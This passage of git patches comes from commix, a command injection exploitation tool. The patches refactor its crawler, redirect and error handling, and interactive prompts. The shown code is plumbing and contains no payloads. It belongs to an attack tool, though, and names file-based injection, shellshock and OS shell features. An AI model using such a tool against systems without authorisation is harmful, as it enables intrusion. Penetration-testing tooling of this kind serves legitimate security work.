(JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += the_type + check_parameter + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) tests shows that" + header_name + if not header_name == " cookie" and not the_type == " HTTP header": + warn_msg += " " + str(http_request_method) + "" + warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += the_type + check_parameter + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index cb5c35fc27..da715e3a0a 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -164,6 +164,28 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons return tmp_path + +def finalize(exit_loops, no_result, float_percent, injection_type, technique): + if exit_loops == False: + if settings.VERBOSITY_LEVEL == 0: + if str(float_percent) == "100.0": + if no_result == True: + percent = settings.FAIL_STATUS + else: + percent = ".. (" + str(float_percent) + "%)" + else: + percent = ".. (" + str(float_percent) + "%)" + + info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() + return True + else: + return True + else: + return False + + """ The "file-based" injection technique handler """ @@ -333,6 +355,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Use the "/tmp/" directory for tempfile-based technique. elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): + + if i == total: + if finalize(exit_loops, no_result, float_percent, injection_type, technique): + continue + else: + raise + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." @@ -369,22 +398,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r continue else: - if exit_loops == False: - if settings.VERBOSITY_LEVEL == 0: - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - else: - percent = ".. (" + str(float_percent) + "%)" - - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - else: - continue + if finalize(exit_loops, no_result, float_percent, injection_type, technique): + continue else: raise diff --git a/src/core/main.py b/src/core/main.py index 2c43f320c0..c614f8811f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -814,7 +814,6 @@ def main(filename, url): output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] output_href = crawler.normalize_results(output_href) - filename = crawler.store_crawling() else: output_href = [] output_href = output_href + bulkfile @@ -824,7 +823,9 @@ def main(filename, url): [clean_output_href.append(x) for x in output_href if x not in clean_output_href] # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(clean_output_href) != 0: + if len(output_href) >= 0: + if filename is not None: + filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) url_num = 0 @@ -832,9 +833,6 @@ def main(filename, url): if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 562b722a2a..2e5a5fa311 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: while True: if not menu.options.batch and not settings.FOLLOW_REDIRECT: - if settings.CRAWLING and settings.CRAWLED_URLS == 0: + if settings.CRAWLED_URLS != 0: print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 9c8a46aa88..0617ebd2a7 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -105,7 +105,7 @@ def normalize_results(output_href): """ Store crawling results to a temporary file. """ -def store_crawling(): +def store_crawling(output_href): while True: if not menu.options.batch: question_msg = "Do you want to store crawling results to a temporary file " @@ -119,9 +119,12 @@ def store_crawling(): filename = tempfile.mkstemp(suffix=".txt")[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." print(settings.print_info_msg(info_msg)) - return str(filename) + with open(filename, "a") as crawling_results: + for url in output_href: + crawling_results.write(url + "\n") + return elif message in settings.CHOICE_NO: - return None + return elif message in settings.CHOICE_QUIT: raise SystemExit() else: diff --git a/src/utils/settings.py b/src/utils/settings.py index f7624a655c..de7e66914e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From ddb72e397c028d400d06d5279608bc4fcda9cc0c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 May 2022 07:02:08 +0300 Subject: [PATCH 0135/1023] Additional fixes and updates regarding commit: https://github.com/commixproject/commix/commit/68e1410d87a666196baab6dfb996741fd7272f16 --- src/core/injections/controller/checks.py | 7 +- src/core/main.py | 18 +-- src/core/requests/headers.py | 15 +-- src/core/requests/redirection.py | 2 +- src/utils/crawler.py | 140 ++++++++++++----------- src/utils/settings.py | 2 +- 6 files changed, 100 insertions(+), 84 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0919627d4c..94c2de10e4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -117,11 +117,10 @@ def connection_exceptions(err_msg, url): info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")." - if not isinstance(url, str): - _ = "" - else: + _ = "" + if isinstance(url, str): _ = " Skipping URL '" + str(url) + "'." - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + _ print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 diff --git a/src/core/main.py b/src/core/main.py index c614f8811f..8e6faa281e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -761,14 +761,15 @@ def main(filename, url): if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() + # Check if option is "--url" for single url test. + if menu.options.sitemap_url: + url = menu.options.sitemap_url + else: + url = menu.options.url + if not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: settings.INIT_TEST = True - # Check if option is "--url" for single url test. - if menu.options.sitemap_url: - url = menu.options.sitemap_url - else: - url = menu.options.url response, url = url_response(url) if response != False: filename = logs.logs_filename_creation(url) @@ -804,8 +805,8 @@ def main(filename, url): url_num = 1 if not menu.options.bulkfile: crawling_list = 1 - output_href = crawler.crawler(menu.options.url, url_num, crawling_list) - output_href.append(menu.options.url) + output_href = crawler.crawler(url, url_num, crawling_list) + output_href.append(url) else: crawling_list = len(bulkfile) for url in bulkfile: @@ -864,6 +865,9 @@ def main(filename, url): try: checks.user_aborted(filename, url) except NameError: + abort_msg = "User quit (Ctrl-C was pressed)." + print(settings.SINGLE_WHITESPACE) + print(settings.print_abort_msg(abort_msg)) raise SystemExit() except SystemExit: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 18ae47ec20..226248abab 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -171,7 +171,9 @@ def https_open(self, req): except _urllib.error.HTTPError as err_msg: if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) + if (settings.CRAWLING and settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0) or \ + not settings.CRAWLING: + print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: @@ -215,13 +217,12 @@ def https_open(self, req): print_http_response(err.info(), err.code, err.read()) if (not settings.PERFORM_CRACKING and \ - not settings.IS_JSON and \ - not settings.IS_XML and \ - not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ - not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_SKIPPED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0: + not settings.IS_JSON and \ + not settings.IS_XML and \ + not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ + not str(err.code) == settings.BAD_REQUEST and \ + not settings.CRAWLED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) - # error_msg = "Got " + str(err).replace(": "," (") # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): if settings.VERBOSITY_LEVEL >= 2: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 2e5a5fa311..e3a5612766 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: while True: if not menu.options.batch and not settings.FOLLOW_REDIRECT: - if settings.CRAWLED_URLS != 0: + if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 0617ebd2a7..81fd2a2d7c 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -34,6 +34,7 @@ crawled_hrefs = [] new_crawled_hrefs = [] + """ Change the crawling depth level. """ @@ -54,6 +55,7 @@ def set_crawling_depth(): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass + # Change the crawling depth level. if message in settings.CHOICE_YES: while True: @@ -61,10 +63,9 @@ def set_crawling_depth(): message = _input(settings.print_question_msg(question_msg)) if len(message) == 0: message = 1 - break else: menu.options.crawldepth = message - break + return """ @@ -90,8 +91,7 @@ def normalize_results(output_href): if '=' in key and key not in seen: results.append(target) seen.add(key) - if len(results) != 0: - return results + return results elif message in settings.CHOICE_NO: return output_href elif message in settings.CHOICE_QUIT: @@ -171,6 +171,7 @@ def sitemap(url): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass + no_usable_links(sitemap_loc) return sitemap_loc except: if not menu.options.crawldepth: @@ -212,13 +213,71 @@ def request(url): if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS += 1 - # if settings.DEFAULT_CRAWLING_DEPTH == 1: if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS: - print(settings.SINGLE_WHITESPACE) + if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0: + print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) +""" +Enable crawler. +""" +def enable_crawler(): + message = "" + if not settings.CRAWLING: + while True: + if not menu.options.batch: + question_msg = "Do you want to enable crawler? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "N" + if message in settings.CHOICE_YES: + menu.options.crawldepth = 1 + break + if message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + set_crawling_depth() + +""" +Check for the existence of site's sitemap +""" +def check_sitemap(): + while True: + if not menu.options.batch: + question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " + question_msg += "the existence of site's sitemap(.xml)? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "n" + if message in settings.CHOICE_YES: + settings.SITEMAP_CHECK = True + return + elif message in settings.CHOICE_NO: + settings.SITEMAP_CHECK = False + return + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + +def no_usable_links(crawled_hrefs): + if len(crawled_hrefs) == 0: + warn_msg = "No usable links found." + print(settings.print_warning_msg(warn_msg)) + raise SystemExit() """ The crawing process. @@ -254,19 +313,16 @@ def do_process(url): not re.search(r"(?i)\.(js|css)(\?|\Z)", href): identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) - if len(crawled_hrefs) != 0: - if identified_hrefs: - if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: - return list(set(new_crawled_hrefs)) - return list(set(crawled_hrefs)) - return list("") - else: - warn_msg = "No usable links found." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() + no_usable_links(crawled_hrefs) + if identified_hrefs: + if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: + return list(set(new_crawled_hrefs)) + return list(set(crawled_hrefs)) + return list("") + except Exception as e: # for non-HTML files and non-valid links pass - + """ The main crawler. @@ -279,57 +335,12 @@ def crawler(url, url_num, crawling_list): info_msg = "Starting crawler for target URL '" + url + "'" + _ print(settings.print_info_msg(info_msg)) response = request(url) - if settings.SITEMAP_CHECK: - message = "" - if not settings.CRAWLING: - while True: - if not menu.options.batch: - question_msg = "Do you want to enable crawler? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" - if message in settings.CHOICE_YES: - menu.options.crawldepth = 1 - break - if message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - set_crawling_depth() - + enable_crawler() if settings.SITEMAP_CHECK is None: - while True: - if not menu.options.batch: - question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " - question_msg += "the existence of site's sitemap(.xml)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "n" - if message in settings.CHOICE_YES: - settings.SITEMAP_CHECK = True - break - elif message in settings.CHOICE_NO: - settings.SITEMAP_CHECK = False - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - + check_sitemap() if settings.SITEMAP_CHECK: output_href = sitemap(url) - if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): output_href = do_process(url) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: @@ -359,6 +370,7 @@ def crawler(url, url_num, crawling_list): settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs + no_usable_links(crawled_hrefs) return output_href # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index de7e66914e..2f587a5d43 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 9b107187d66d65d78c320c17d37ceab62442293f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 May 2022 08:17:00 +0300 Subject: [PATCH 0136/1023] Additional fixes and updates regarding commit: https://github.com/commixproject/commix/commit/ddb72e397c028d400d06d5279608bc4fcda9cc0c --- src/core/injections/controller/checks.py | 185 +++++++---------------- src/core/main.py | 2 +- src/core/requests/headers.py | 32 ++-- src/core/requests/redirection.py | 4 +- src/utils/crawler.py | 45 ++++-- src/utils/settings.py | 6 +- 6 files changed, 112 insertions(+), 162 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 94c2de10e4..d4b075f8a1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -29,6 +29,7 @@ import traceback from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import simple_http_server from src.thirdparty.odict import OrderedDict @@ -97,7 +98,7 @@ def connection_exceptions(err_msg, url): warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) - if not settings.MULTI_TARGETS: + if not settings.MULTI_TARGETS and not settings.CRAWLING: raise SystemExit() elif "infinite loop" in str(error_msg): error_msg = "Infinite redirect loop detected. " @@ -122,7 +123,8 @@ def connection_exceptions(err_msg, url): _ = " Skipping URL '" + str(url) + "'." if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + _ - print(settings.print_critical_msg(error_msg)) + if len(_) != 0 or (not settings.MULTI_TARGETS and not settings.CRAWLING): + print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) @@ -138,18 +140,13 @@ def not_declared_cookies(response): candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True - if settings.CRAWLED_SKIPPED_URLS != 0: + if settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "You have not declared cookie(s), while " - question_msg += "server wants to set its own ('" + str(candidate) + "'). " - question_msg += "Do you want to use those [Y/n] > " - set_cookies = _input(settings.print_question_msg(question_msg)).lower() - else: - set_cookies = "" - if len(set_cookies) == 0: - set_cookies = "Y" + message = "You have not declared cookie(s), while " + message += "server wants to set its own ('" + str(candidate) + "'). " + message += "Do you want to use those [Y/n] > " + set_cookies = common.read_input(message, default="Y", check_batch=True) if set_cookies in settings.CHOICE_YES: menu.options.cookie = candidate break @@ -212,13 +209,10 @@ def load_cmd_history(): # If the value has boundaries. def value_boundaries(value): - if not menu.options.batch: - question_msg = "It appears that the value '" + value + "' has boundaries. " - question_msg += "Do you want to inject inside? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + message = "It appears that the value '" + value + "' has boundaries. " + message += "Do you want to inject inside? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: value = re.search(settings.VALUE_BOUNDARIES, value).group(1) elif procced_option in settings.CHOICE_NO: pass @@ -428,13 +422,8 @@ def check_injection_level(): """ def next_attack_vector(technique, go_back): while True: - if not menu.options.batch: - question_msg = "Continue with testing the " + technique + "? [Y/n] > " - next_attack_vector = _input(settings.print_question_msg(question_msg)) - else: - next_attack_vector = "" - if len(next_attack_vector) == 0: - next_attack_vector = "Y" + message = "Continue with testing the " + technique + "? [Y/n] > " + next_attack_vector = common.read_input(message, default="Y", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state assessment_phase() @@ -494,15 +483,10 @@ def check_os_shell_options(cmd, technique, go_back, no_result): """ def procced_with_file_based_technique(): while True: - if not menu.options.batch: - question_msg = "Due to the provided '--web-root' option," - question_msg += " do you want to procced with the (semi-blind) " - question_msg += "file-based injection technique? [Y/n] > " - enable_fb = _input(settings.print_question_msg(question_msg)) - else: - enable_fb = "" - if len(enable_fb) == 0: - enable_fb = "Y" + message = "Due to the provided '--web-root' option," + message += " do you want to procced with the (semi-blind) " + message += "file-based injection technique? [Y/n] > " + enable_fb = common.read_input(message, default="Y", check_batch=True) if enable_fb in settings.CHOICE_YES: return True elif enable_fb in settings.CHOICE_NO: @@ -563,14 +547,9 @@ def continue_tests(err): try: while True: - if not menu.options.batch: - question_msg = "Do you want to ignore the error (" + str(err.code) - question_msg += ") message and continue the tests? [Y/n] > " - continue_tests = _input(settings.print_question_msg(question_msg)) - else: - continue_tests = "" - if len(continue_tests) == 0: - continue_tests = "Y" + message = "Do you want to ignore the error (" + str(err.code) + message += ") message and continue the tests? [Y/n] > " + continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: return True elif continue_tests in settings.CHOICE_NO: @@ -636,14 +615,9 @@ def ps_check(): warn_msg += "have chosen, are requiring the use of PowerShell. " print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to use the \"--ps-version\" option " - question_msg += "so ensure that PowerShell is enabled? [Y/n] > " - ps_check = _input(settings.print_question_msg(question_msg)) - else: - ps_check = "" - if len(ps_check) == 0: - ps_check = "Y" + message = "Do you want to use the \"--ps-version\" option " + message += "so ensure that PowerShell is enabled? [Y/n] > " + ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: menu.options.ps_version = True break @@ -662,14 +636,9 @@ def ps_check(): """ def ps_check_failed(): while True: - if not menu.options.batch: - question_msg = "Do you want to ignore the above warning " - question_msg += "and continue the procedure? [Y/n] > " - ps_check = _input(settings.print_question_msg(question_msg)) - else: - ps_check = "" - if len(ps_check) == 0: - ps_check = "Y" + message = "Do you want to ignore the above warning " + message += "and continue the procedure? [Y/n] > " + ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: break elif ps_check in settings.CHOICE_NO: @@ -709,13 +678,8 @@ def check_CGI_scripts(url): warn_msg += "vulnerable to shellshock. " print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to enable the shellshock injection module? [Y/n] > " - shellshock_check = _input(settings.print_question_msg(question_msg)) - else: - shellshock_check = "" - if len(shellshock_check) == 0: - shellshock_check = "Y" + message = "Do you want to enable the shellshock injection module? [Y/n] > " + shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True break @@ -779,16 +743,11 @@ def user_defined_os(): is different than the one identified by heuristics. """ def identified_os(): - if not menu.options.batch: - warn_msg = "Heuristics have identified different operating system (" - warn_msg += settings.TARGET_OS + ") than that you have provided." - print(settings.print_warning_msg(warn_msg)) - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + warn_msg = "Heuristics have identified different operating system (" + warn_msg += settings.TARGET_OS + ") than that you have provided." + print(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": return False @@ -862,17 +821,12 @@ def http_auth_err_msg(): is different than the one identified by heuristics. """ def identified_http_auth_type(auth_type): - if not menu.options.batch: - warn_msg = "Heuristics have identified different HTTP authentication type (" - warn_msg += auth_type.lower() + ") than that you have provided (" - warn_msg += menu.options.auth_type + ")." - print(settings.print_warning_msg(warn_msg)) - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + warn_msg = "Heuristics have identified different HTTP authentication type (" + warn_msg += auth_type.lower() + ") than that you have provided (" + warn_msg += menu.options.auth_type + ")." + print(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": return False @@ -1499,16 +1453,9 @@ def is_XML_check(parameter): def process_xml_data(): while True: info_msg = "SOAP/XML data found in POST data." - if not menu.options.batch: - question_msg = info_msg - question_msg += " Do you want to process it? [Y/n] > " - xml_process = _input(settings.print_question_msg(question_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.print_bold_info_msg(info_msg)) - xml_process = "" - if len(xml_process) == 0: - xml_process = "Y" + message = info_msg + message += " Do you want to process it? [Y/n] > " + xml_process = common.read_input(message, default="Y", check_batch=True) if xml_process in settings.CHOICE_YES: settings.IS_XML = True break @@ -1549,16 +1496,9 @@ def is_JSON_check(parameter): def process_json_data(): while True: info_msg = "JSON data found in POST data." - if not menu.options.batch: - question_msg = info_msg - question_msg += " Do you want to process it? [Y/n] > " - json_process = _input(settings.print_question_msg(question_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.print_bold_info_msg(info_msg)) - json_process = "" - if len(json_process) == 0: - json_process = "Y" + message = info_msg + message += " Do you want to process it? [Y/n] > " + json_process = common.read_input(message, default="Y", check_batch=True) if json_process in settings.CHOICE_YES: settings.IS_JSON = True break @@ -1633,15 +1573,9 @@ def file_upload(): menu.options.file_dest = menu.options.file_dest + "/" # Check if not defined URL for upload. while True: - if not menu.options.batch: - question_msg = "Do you want to enable an HTTP server? [Y/n] > " - enable_HTTP_server = _input(settings.print_question_msg(question_msg)) - else: - enable_HTTP_server = "" - if len(enable_HTTP_server) == 0: - enable_HTTP_server = "Y" + message = "Do you want to enable an HTTP server? [Y/n] > " + enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: - # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." @@ -1651,8 +1585,8 @@ def file_upload(): # Setting the local HTTP server. if settings.LOCAL_HTTP_IP == None: while True: - question_msg = "Please enter your interface IP address > " - ip_addr = _input(settings.print_question_msg(question_msg)) + message = "Please enter your interface IP address > " + ip_addr = common.read_input(message, default=None, check_batch=True) # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: @@ -1718,20 +1652,15 @@ def check_wrong_flags(): def define_py_working_dir(): if settings.TARGET_OS == "win" and menu.options.alter_shell: while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python working directory on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python working directory on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y" , check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a custom working directory for Python (e.g. '" - question_msg += settings.WIN_PYTHON_INTERPRETER + "') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom working directory for Python (e.g. '" + message += settings.WIN_PYTHON_INTERPRETER + "') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) break else: err_msg = "'" + python_dir + "' is not a valid answer." diff --git a/src/core/main.py b/src/core/main.py index 8e6faa281e..f0709d3eac 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -810,7 +810,7 @@ def main(filename, url): else: crawling_list = len(bulkfile) for url in bulkfile: - output_href = (crawler.crawler(url, url_num, crawling_list)) + output_href += (crawler.crawler(url, url_num, crawling_list)) url_num += 1 output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 226248abab..81ab7d39e2 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -169,19 +169,6 @@ def https_open(self, req): if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) - except _urllib.error.HTTPError as err_msg: - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - if (settings.CRAWLING and settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0) or \ - not settings.CRAWLING: - print(settings.SINGLE_WHITESPACE) - if settings.UNAUTHORIZED_ERROR in str(err_msg): - settings.UNAUTHORIZED = unauthorized = True - if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: - break - - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: - pass - except ValueError as err: if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) @@ -191,7 +178,24 @@ def https_open(self, req): except AttributeError: raise SystemExit() + + except _urllib.error.HTTPError as err_msg: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: + if (settings.CRAWLING and settings.CRAWLED_URLS_NUM != 0 and 